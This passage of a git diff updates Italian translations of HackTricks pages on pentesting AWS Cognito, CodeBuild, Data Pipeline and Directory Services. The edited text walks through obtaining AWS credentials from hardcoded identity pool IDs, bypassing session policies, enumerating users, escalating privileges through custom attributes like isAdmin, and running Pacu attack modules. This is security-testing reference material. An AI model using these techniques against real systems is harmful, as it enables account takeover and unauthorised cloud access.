L'HSM fornisce una gamma di funzioni di gestione delle chiavi, inclusi rotazione, backup e revoca delle chiavi. 4. **Operazioni crittografiche**: L'HSM esegue una serie di operazioni crittografiche, inclusi crittografia, decrittografia, firma digitale e scambio di chiavi. Queste operazioni sono **eseguite all'interno dell'ambiente sicuro dell'HSM**, che protegge contro accessi non autorizzati e manomissioni. 5. **Audit logging**: L'HSM registra tutte le operazioni crittografiche e i tentativi di accesso, che possono essere utilizzati per scopi di conformità e auditing della sicurezza. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 3937b3366..971fd551d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn ``` ### Privesc -Nella pagina seguente, puoi controllare come **abusare dei permessi di codebuild per escalare i privilegi**: +Nella pagina seguente, puoi controllare come **abuse codebuild permissions to escalate privileges**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 9cf2c228a..32c46815c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -9,7 +9,7 @@ Amazon Cognito è utilizzato per **autenticazione, autorizzazione e gestione deg Al centro di Amazon Cognito ci sono due componenti principali: 1. **User Pools**: Questi sono directory progettate per gli utenti della tua app, offrendo **funzionalità di registrazione e accesso**. -2. **Identity Pools**: Queste pool sono strumentali per **autorizzare gli utenti ad accedere a diversi servizi AWS**. Non sono direttamente coinvolti nel processo di accesso o registrazione, ma sono cruciali per l'accesso alle risorse dopo l'autenticazione. +2. **Identity Pools**: Questi pool sono strumentali per **autorizzare gli utenti ad accedere a diversi servizi AWS**. Non sono direttamente coinvolti nel processo di accesso o registrazione, ma sono cruciali per l'accesso alle risorse dopo l'autenticazione. ### **User pools** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 6af015cbd..05c73b4da 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,12 +2,12 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base I pool di identità svolgono un ruolo cruciale consentendo ai tuoi utenti di **acquisire credenziali temporanee**. Queste credenziali sono essenziali per accedere a vari servizi AWS, inclusi, ma non limitati a, Amazon S3 e DynamoDB. Una caratteristica notevole dei pool di identità è il loro supporto sia per utenti ospiti anonimi che per una gamma di provider di identità per l'autenticazione degli utenti. I provider di identità supportati includono: -- Pool di utenti Amazon Cognito -- Opzioni di accesso sociale come Facebook, Google, Login con Amazon e Accedi con Apple +- Amazon Cognito user pools +- Opzioni di accesso sociale come Facebook, Google, Login with Amazon e Sign in with Apple - Provider conformi a OpenID Connect (OIDC) - Provider di identità SAML (Security Assertion Markup Language) - Identità autenticate dagli sviluppatori @@ -43,9 +43,9 @@ Inoltre, il servizio **cognito-sync** è il servizio che consente di **gestire e ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di sfruttamento AWS, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali di pool di identità utilizzabili, ruoli assumibili nei token id, ecc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di sfruttamento AWS, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali di pool di identità utilizzabili, ruoli assunti nei token id, ecc. -Per una descrizione delle funzioni dei moduli, vedere la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione, vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Per una descrizione delle funzioni dei moduli vedere la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage @@ -55,7 +55,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Esempio di utilizzo cognito\_\_enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS: +Esempio di utilizzo di cognito\_\_enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS: ```bash Pacu (new:test) > run cognito__enum ``` @@ -71,16 +71,16 @@ $ cognito-scanner --help ``` Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner -## Accesso ai ruoli IAM +## Accesso ai Ruoli IAM -### Non autenticato +### Non Autenticato -L'unica cosa che un attaccante deve sapere per **ottenere credenziali AWS** in un'app Cognito come utente non autenticato è il **ID del pool di identità**, e questo **ID deve essere hardcoded** nell'**applicazione** web/mobile per poterlo utilizzare. Un ID appare così: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (non è bruteforceabile). +L'unica cosa che un attaccante deve sapere per **ottenere credenziali AWS** in un'app Cognito come utente non autenticato è il **ID del Pool di Identità**, e questo **ID deve essere hardcoded** nell'**applicazione** web/mobile per poterlo utilizzare. Un ID appare così: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (non è bruteforceabile). > [!TIP] -> Il **ruolo IAM Cognito non autenticato creato tramite è chiamato** per impostazione predefinita `Cognito_Unauth_Role` +> Il **ruolo IAM Cognito non autenticato creato tramite è chiamato** per impostazione predefinita `Cognito_Unauth_Role` -Se trovi un ID del pool di identità hardcoded e consente utenti non autenticati, puoi ottenere credenziali AWS con: +Se trovi un ID di Pool di Identità hardcoded e consente utenti non autenticati, puoi ottenere credenziali AWS con: ```python import requests @@ -106,7 +106,7 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` -Oppure puoi utilizzare i seguenti **comandi aws cli**: +Oppure puoi utilizzare i seguenti **aws cli commands**: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign @@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### Flusso di autenticazione avanzato vs di base -La sezione precedente ha seguito il **flusso di autenticazione avanzato predefinito**. Questo flusso imposta una **policy di sessione** [**restrittiva**](../../aws-basic-information/#session-policies) per la sessione del ruolo IAM generato. Questa policy consentirà solo alla sessione di [**utilizzare i servizi di questo elenco**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (anche se il ruolo aveva accesso ad altri servizi). +La sezione precedente ha seguito il **flusso di autenticazione avanzato predefinito**. Questo flusso imposta una **policy di sessione** [**restrittiva**](../../aws-basic-information/#session-policies) per la sessione del ruolo IAM generato. Questa policy permetterà solo alla sessione di [**utilizzare i servizi di questo elenco**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (anche se il ruolo aveva accesso ad altri servizi). Tuttavia, c'è un modo per aggirare questo, se il **pool di identità ha abilitato il "Flusso di base (classico)"**, l'utente sarà in grado di ottenere una sessione utilizzando quel flusso che **non avrà quella policy di sessione restrittiva**. ```bash @@ -133,18 +133,18 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ [!WARNING] > Se ricevi questo **errore**, è perché il **flusso di base non è abilitato (predefinito)** -> `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` +> `Si è verificato un errore (InvalidParameterException) durante la chiamata all'operazione GetOpenIdToken: Il flusso di base (classico) non è abilitato, si prega di utilizzare il flusso avanzato.` Avendo un insieme di credenziali IAM, dovresti controllare [quali accessi hai](../../#whoami) e provare a [escalare i privilegi](../../aws-privilege-escalation/). ### Autenticato > [!NOTE] -> Ricorda che gli **utenti autenticati** probabilmente avranno **permissi diversi**, quindi se puoi **registrarti all'interno dell'app**, prova a farlo e ottieni le nuove credenziali. +> Ricorda che gli **utenti autenticati** probabilmente avranno **permessi diversi**, quindi se puoi **registrarti all'interno dell'app**, prova a farlo e ottieni le nuove credenziali. Potrebbero esserci anche **ruoli** disponibili per gli **utenti autenticati che accedono al Pool di Identità**. -Per questo potresti aver bisogno di avere accesso al **fornitore di identità**. Se si tratta di un **Cognito User Pool**, forse puoi sfruttare il comportamento predefinito e **creare un nuovo utente tu stesso**. +Per questo potresti aver bisogno di avere accesso al **fornitore di identità**. Se si tratta di un **Cognito User Pool**, forse puoi abusare del comportamento predefinito e **creare un nuovo utente tu stesso**. > [!TIP] > Il **ruolo IAM Cognito autenticato creato tramite** si chiama per impostazione predefinita `Cognito_Auth_Role` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 28fc9dac9..9a2e62a03 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -15,17 +15,17 @@ I user pool forniscono: - Funzionalità di sicurezza come l'autenticazione a più fattori (MFA), controlli per credenziali compromesse, protezione contro il takeover dell'account e verifica di telefono ed email. - Flussi di lavoro personalizzati e migrazione degli utenti tramite trigger AWS Lambda. -Il **codice sorgente** delle applicazioni conterrà solitamente anche l'**ID del user pool** e l'**ID dell'applicazione client**, (e a volte il **segreto dell'applicazione**?) che sono necessari per un **utente per accedere** a un Cognito User Pool. +Il **codice sorgente** delle applicazioni conterrà solitamente anche l'**ID del user pool** e l'**ID dell'applicazione client**, (e a volte il **segreto dell'applicazione**?) necessari per un **utente per accedere** a un Cognito User Pool. ### Attacchi potenziali - **Registrazione**: Per impostazione predefinita, un utente può registrarsi, quindi potrebbe creare un utente per se stesso. -- **Enumerazione degli utenti**: La funzionalità di registrazione può essere utilizzata per trovare nomi utente che esistono già. Queste informazioni possono essere utili per l'attacco di forza bruta. -- **Forza bruta per l'accesso**: Nella sezione [**Autenticazione**](cognito-user-pools.md#authentication) hai tutti i **metodi** che un utente ha per **accedere**, potresti provare a forzare in modo brutale **trovare credenziali valide**. +- **Enumerazione degli utenti**: La funzionalità di registrazione può essere utilizzata per trovare nomi utente che già esistono. Queste informazioni possono essere utili per un attacco di forza bruta. +- **Forza bruta di accesso**: Nella sezione [**Autenticazione**](cognito-user-pools.md#authentication) hai tutti i **metodi** che un utente ha per **accedere**, potresti provare a forzare in modo brutale **trovare credenziali valide**. ### Strumenti per il pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), ora include i moduli `cognito__enum` e `cognito__attack` che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzabili modificabili, credenziali di pool di identità utilizzabili, ruoli assunibili nei token id, ecc.\ +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), ora include i moduli `cognito__enum` e `cognito__attack` che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali di pool di identità utilizzabili, ruoli assunti nei token id, ecc.\ Per una descrizione delle funzioni dei moduli, vedere la parte 2 del [post del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione, vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa la creazione non desiderata di account e l'oracolo degli account. Controlla [questo link](https://github.com/padok-team/cognito-scanner) per ulteriori informazioni. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa la creazione non desiderata di account e l'oracolo degli account. Controlla [this link](https://github.com/padok-team/cognito-scanner) per ulteriori informazioni. ```bash # Install pip install cognito-scanner @@ -71,7 +71,7 @@ An error occurred (UsernameExistsException) when calling the SignUp operation: U ``` > [!NOTE] > Nota nel comando precedente come i **custom attributes iniziano con "custom:"**.\ -> Sappi anche che durante la registrazione **non puoi creare nuovi custom attributes per l'utente**. Puoi solo dare valore ai **default attributes** (anche se non sono richiesti) e ai **custom attributes specificati**. +> Sappi anche che durante la registrazione **non puoi creare nuovi custom attributes per l'utente**. Puoi solo assegnare un valore ai **default attributes** (anche se non sono richiesti) e ai **custom attributes specificati**. O semplicemente per testare se un client id esiste. Questo è l'errore se il client-id non esiste: ``` @@ -83,18 +83,18 @@ Troverai questo errore e non sarai in grado di registrare o enumerare utenti: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` -### Verifying Registration +### Verifica della Registrazione -Cognito consente di **verificare un nuovo utente verificando la sua email o il numero di telefono**. Pertanto, quando si crea un utente, di solito sarà richiesto almeno il nome utente e la password e l'**email e/o il numero di telefono**. Basta impostarne uno **che controlli** in modo da ricevere il codice per **verificare il** tuo nuovo **account** utente creato in questo modo: +Cognito consente di **verificare un nuovo utente verificando la sua email o il numero di telefono**. Pertanto, quando si crea un utente, di solito sarà richiesto almeno il nome utente e la password e l'**email e/o il numero di telefono**. Imposta solo uno **che controlli** in modo da ricevere il codice per **verificare il** tuo nuovo **account** utente in questo modo: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Anche se **sembra che tu possa usare la stessa email** e numero di telefono, quando devi verificare l'utente creato Cognito si lamenterà dell'uso delle stesse informazioni e **non ti permetterà di verificare l'account**. +> Anche se **sembra che tu possa usare la stessa email** e numero di telefono, quando devi verificare l'utente creato Cognito si lamenterà per l'uso delle stesse informazioni e **non ti permetterà di verificare l'account**. -### Escalation dei privilegi / Aggiornamento degli attributi +### Privilege Escalation / Aggiornamento degli Attributi Per impostazione predefinita, un utente può **modificare il valore dei suoi attributi** con qualcosa come: ```bash @@ -103,12 +103,12 @@ aws cognito-idp update-user-attributes \ --user-attributes Name=address,Value=street \ --access-token ``` -#### Privilegi di escalation degli attributi personalizzati +#### Privilegi di accesso agli attributi personalizzati > [!CAUTION] > Potresti trovare **attributi personalizzati** utilizzati (come `isAdmin`), poiché per impostazione predefinita puoi **cambiare i valori dei tuoi attributi** potresti essere in grado di **escalare i privilegi** cambiando il valore tu stesso! -#### Privilegi di escalation nella modifica di email/nome utente +#### Modifica dell'email/nome utente per privilegi di accesso Puoi utilizzare questo per **modificare l'email e il numero di telefono** di un utente, ma poi, anche se l'account rimane verificato, quegli attributi sono **impostati in stato non verificato** (devi verificarli di nuovo). @@ -116,7 +116,7 @@ Puoi utilizzare questo per **modificare l'email e il numero di telefono** di un > Non **sarai in grado di accedere con email o numero di telefono** fino a quando non li verifichi, ma sarai **in grado di accedere con il nome utente**.\ > Nota che anche se l'email è stata modificata e non verificata apparirà nel Token ID all'interno del **campo** **`email`** e il campo **`email_verified`** sarà **false**, ma se l'app **non sta controllando questo potresti impersonare altri utenti**. -> Inoltre, nota che puoi mettere qualsiasi cosa all'interno del campo **`name`** semplicemente modificando l'**attributo name**. Se un'app **controlla** **quel** campo per qualche motivo **invece di `email`** (o qualsiasi altro attributo) potresti essere in grado di **impersonare altri utenti**. +> Inoltre, nota che puoi mettere qualsiasi cosa all'interno del campo **`name`** semplicemente modificando l'**attributo name**. Se un'app **controlla** **quello** campo per qualche motivo **invece di `email`** (o qualsiasi altro attributo) potresti essere in grado di **impersonare altri utenti**. Comunque, se per qualche motivo hai cambiato la tua email, ad esempio con una nuova a cui puoi accedere, puoi **confermare l'email con il codice che hai ricevuto a quell'indirizzo email**: ```bash @@ -128,7 +128,7 @@ aws cognito-idp verify-user-attribute \ Usa **`phone_number`** invece di **`email`** per cambiare/verificare un **nuovo numero di telefono**. > [!NOTE] -> L'amministratore potrebbe anche abilitare l'opzione per **accedere con un nome utente preferito dall'utente**. Tieni presente che non sarà possibile cambiare questo valore in **un nome utente o preferred_username già in uso** per impersonare un altro utente. +> L'amministratore potrebbe anche abilitare l'opzione per **accedere con un nome utente preferito dall'utente**. Tieni presente che non potrai cambiare questo valore in **nessun nome utente o preferred_username già in uso** per impersonare un altro utente. ### Recupera/Cambia Password @@ -161,9 +161,9 @@ aws cognito-idp change-password \ Un pool di utenti supporta **diversi modi per autenticarsi**. Se hai un **nome utente e una password**, ci sono anche **diversi metodi** supportati per accedere.\ Inoltre, quando un utente è autenticato nel Pool, **vengono forniti 3 tipi di token**: il **Token ID**, il **Token di Accesso** e il **Token di Aggiornamento**. -- [**Token ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Contiene affermazioni sulla **identità dell'utente autenticato**, come `name`, `email` e `phone_number`. Il token ID può anche essere utilizzato per **autenticare gli utenti ai tuoi server di risorse o applicazioni server**. Devi **verificare** la **firma** del token ID prima di poter fidarti di qualsiasi affermazione all'interno del token ID se lo usi in applicazioni esterne. +- [**Token ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Contiene affermazioni riguardanti l'**identità dell'utente autenticato**, come `name`, `email` e `phone_number`. Il token ID può anche essere utilizzato per **autenticare gli utenti ai tuoi server di risorse o applicazioni server**. Devi **verificare** la **firma** del token ID prima di poter fidarti di qualsiasi affermazione all'interno del token ID se lo usi in applicazioni esterne. - Il Token ID è il token che **contiene i valori degli attributi dell'utente**, anche quelli personalizzati. -- [**Token di Accesso**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene affermazioni sull'utente autenticato, un elenco dei **gruppi dell'utente e un elenco di scope**. Lo scopo del token di accesso è **autorizzare le operazioni API** nel contesto dell'utente nel pool di utenti. Ad esempio, puoi utilizzare il token di accesso per **concedere al tuo utente l'accesso** per aggiungere, modificare o eliminare attributi utente. +- [**Token di Accesso**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Contiene affermazioni riguardanti l'utente autenticato, un elenco dei **gruppi dell'utente e un elenco di scope**. Lo scopo del token di accesso è di **autorizzare le operazioni API** nel contesto dell'utente nel pool di utenti. Ad esempio, puoi utilizzare il token di accesso per **concedere al tuo utente l'accesso** per aggiungere, modificare o eliminare attributi utente. - [**Token di Aggiornamento**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Con i token di aggiornamento puoi **ottenere nuovi Token ID e Token di Accesso** per l'utente fino a quando il **token di aggiornamento non è invalido**. Per **impostazione predefinita**, il token di aggiornamento **scade 30 giorni dopo** che l'utente della tua applicazione accede al tuo pool di utenti. Quando crei un'applicazione per il tuo pool di utenti, puoi impostare la scadenza del token di aggiornamento dell'applicazione a **qualsiasi valore tra 60 minuti e 10 anni**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH @@ -177,14 +177,14 @@ Questo **metodo NON è abilitato** per impostazione predefinita. Per **accedere** devi **conoscere**: -- id del pool utenti -- id client +- id del pool di utenti +- id del client - nome utente - password -- segreto client (solo se l'app è configurata per utilizzare un segreto) +- segreto del client (solo se l'app è configurata per utilizzare un segreto) > [!NOTE] -> Per **poter accedere con questo metodo**, quell'applicazione deve consentire l'accesso con `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Per poter **accedere con questo metodo**, l'applicazione deve consentire l'accesso con `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ > Inoltre, per eseguire questa azione hai bisogno di credenziali con i permessi **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ @@ -243,7 +243,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -Questo metodo è un altro semplice e **tradizionale flusso di autenticazione utente e password**. È consigliato **migrere un metodo di autenticazione tradizionale** **a Cognito** e **consigliato** poi **disabilitarlo** e **utilizzare** invece il metodo **ALLOW_USER_SRP_AUTH** (poiché quest'ultimo non invia mai la password attraverso la rete).\ +Questo metodo è un altro semplice e **tradizionale flusso di autenticazione utente e password**. È consigliato **migrare un metodo di autenticazione tradizionale** **a Cognito** e **consigliato** poi **disabilitarlo** e **utilizzare** invece il metodo **ALLOW_USER_SRP_AUTH** (poiché quest'ultimo non invia mai la password attraverso la rete).\ Questo **metodo NON è abilitato** per impostazione predefinita. La principale **differenza** con il **metodo di autenticazione precedente** all'interno del codice è che **non è necessario conoscere l'ID del pool utenti** e che **non sono necessarie autorizzazioni extra** nel Cognito User Pool. @@ -266,7 +266,7 @@ aws cognito-idp initiate-auth --client-id \ ```
-Codice Python per il Login +Codice Python per il login ```python import boto3 import botocore @@ -310,20 +310,20 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH -Questo scenario è simile al precedente ma **invece di inviare la password** attraverso la rete per effettuare il login, viene **eseguita un'autenticazione di sfida** (quindi nessuna password naviga nemmeno criptata attraverso la rete).\ +Questo scenario è simile al precedente ma **invece di inviare la password** attraverso la rete per effettuare il login, viene eseguita **un'autenticazione di sfida** (quindi nessuna password naviga nemmeno criptata attraverso la rete).\ Questo **metodo è abilitato** per impostazione predefinita. Per **effettuare il login** è **necessario** conoscere: -- id del pool utenti -- id del client -- nome utente +- user pool id +- client id +- username - password -- segreto del client (solo se l'app è configurata per utilizzare un segreto) +- client secret (solo se l'app è configurata per utilizzare un segreto)
-Codice per effettuare il login +Codice per il login ```python from warrant.aws_srp import AWSSRP import os @@ -347,7 +347,7 @@ token_type = tokens['AuthenticationResult']['TokenType'] ### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -Questo **metodo sarà sempre valido** (non può essere disabilitato) ma è necessario avere un token di aggiornamento valido. +Questo **metodo sarà sempre valido** (non può essere disabilitato) ma è necessario avere un refresh token valido. ```bash aws cognito-idp initiate-auth \ --client-id 3ig6h5gjm56p1ljls1prq2miut \ @@ -395,11 +395,11 @@ In questo caso, l'**autenticazione** verrà eseguita tramite l'**esecuzione di u ### Sicurezza Avanzata -Per impostazione predefinita è disabilitata, ma se abilitata, Cognito potrebbe essere in grado di **trovare takeover degli account**. Per ridurre la probabilità, dovresti accedere da una **rete all'interno della stessa città, utilizzando lo stesso user agent** (e IP se possibile)**.** +Per impostazione predefinita è disabilitata, ma se abilitata, Cognito potrebbe essere in grado di **trovare takeover di account**. Per ridurre la probabilità, dovresti accedere da una **rete all'interno della stessa città, utilizzando lo stesso user agent** (e IP se possibile)**.** -### **Dispositivo MFA Ricordato** +### **MFA Ricorda dispositivo** -Se l'utente accede dallo stesso dispositivo, il MFA potrebbe essere bypassato, quindi prova ad accedere dallo stesso browser con gli stessi metadati (IP?) per cercare di bypassare la protezione MFA. +Se l'utente accede dallo stesso dispositivo, la MFA potrebbe essere bypassata, quindi prova ad accedere dallo stesso browser con gli stessi metadati (IP?) per cercare di bypassare la protezione MFA. ## Ruoli IAM dei Gruppi di User Pool @@ -413,7 +413,7 @@ Un altro requisito per ottenere il **ruolo IAM indicato nell'IdToken** quando un
I **ruoli** a cui un utente ha accesso sono **all'interno dell'`IdToken`**, e un utente può **selezionare quale ruolo desidera le credenziali** con il **`--custom-role-arn`** da `aws cognito-identity get-credentials-for-identity`.\ -Tuttavia, se l'**opzione predefinita** è quella **configurata** (`use default role`), e provi ad accedere a un ruolo dall'IdToken, riceverai un'**errore** (ecco perché è necessaria la configurazione precedente): +Tuttavia, se l'**opzione predefinita** è quella **configurata** (`use default role`), e provi ad accedere a un ruolo dall'IdToken, riceverai un'**errore** (ed è per questo che è necessaria la configurazione precedente): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 43d7b16be..38d8965f4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -6,7 +6,7 @@ AWS Data Pipeline è progettato per facilitare l'**accesso, la trasformazione e il trasferimento efficiente** dei dati su larga scala. Consente di eseguire le seguenti operazioni: -1. **Accedi ai tuoi dati dove sono memorizzati**: I dati residenti in vari servizi AWS possono essere accessibili senza problemi. +1. **Accedi ai tuoi dati dove sono memorizzati**: I dati residenti in vari servizi AWS possono essere accessibili senza soluzione di continuità. 2. **Trasforma e processa su larga scala**: Le attività di elaborazione e trasformazione dei dati su larga scala vengono gestite in modo efficiente. 3. **Trasferisci i risultati in modo efficiente**: I dati elaborati possono essere trasferiti in modo efficiente a più servizi AWS, tra cui: - Amazon S3 @@ -56,7 +56,7 @@ Nella pagina seguente puoi controllare come **abuse codepipeline permissions to È un **servizio di controllo versione**, ospitato e completamente gestito da Amazon, che può essere utilizzato per memorizzare dati (documenti, file binari, codice sorgente) in modo privato e gestirli nel cloud. -Elimina il requisito per l'utente di conoscere Git e **gestire il proprio sistema di controllo versione** o preoccuparsi di scalare la propria infrastruttura. Codecommit supporta tutte le **funzionalità standard che possono essere trovate in Git**, il che significa che funziona senza sforzo con gli strumenti basati su Git attuali dell'utente. +Elimina la necessità per l'utente di conoscere Git e **gestire il proprio sistema di controllo versione** o preoccuparsi di scalare la propria infrastruttura. Codecommit supporta tutte le **funzionalità standard che si possono trovare in Git**, il che significa che funziona senza problemi con gli strumenti basati su Git attuali dell'utente. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 51a0374cd..06bd19625 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,7 +4,7 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory è un servizio gestito che semplifica la **configurazione, l'operazione e la scalabilità di un directory** nel Cloud AWS. È costruito su un vero **Microsoft Active Directory** e si integra strettamente con altri servizi AWS, rendendo facile gestire i tuoi carichi di lavoro e risorse AWS consapevoli del directory. Con AWS Managed Microsoft AD, puoi **utilizzare i tuoi esistenti** utenti, gruppi e politiche di Active Directory per gestire l'accesso alle tue risorse AWS. Questo può aiutare a semplificare la gestione dell'identità e ridurre la necessità di ulteriori soluzioni di identità. AWS Managed Microsoft AD fornisce anche backup automatici e capacità di disaster recovery, contribuendo a garantire la disponibilità e la durabilità del tuo directory. In generale, AWS Directory Service for Microsoft Active Directory può aiutarti a risparmiare tempo e risorse fornendo un servizio Active Directory gestito, altamente disponibile e scalabile nel Cloud AWS. +AWS Directory Service per Microsoft Active Directory è un servizio gestito che semplifica la **configurazione, l'operatività e la scalabilità di un directory** nel Cloud AWS. È costruito su un reale **Microsoft Active Directory** e si integra strettamente con altri servizi AWS, rendendo facile gestire i tuoi carichi di lavoro e risorse AWS consapevoli della directory. Con AWS Managed Microsoft AD, puoi **utilizzare i tuoi esistenti** utenti, gruppi e politiche di Active Directory per gestire l'accesso alle tue risorse AWS. Questo può aiutare a semplificare la gestione dell'identità e ridurre la necessità di ulteriori soluzioni di identità. AWS Managed Microsoft AD fornisce anche backup automatici e capacità di disaster recovery, contribuendo a garantire la disponibilità e la durabilità della tua directory. In generale, AWS Directory Service per Microsoft Active Directory può aiutarti a risparmiare tempo e risorse fornendo un servizio Active Directory gestito, altamente disponibile e scalabile nel Cloud AWS. ### Options @@ -14,7 +14,7 @@ Directory Services consente di creare 5 tipi di directory: - **Simple AD**: Che sarà un server compatibile con Active Directory **Linux-Samba**. Sarai in grado di impostare la password di amministratore e accedere ai DC in una VPC. - **AD Connector**: Un proxy per **reindirizzare le richieste di directory al tuo esistente Microsoft Active Directory** senza memorizzare alcuna informazione 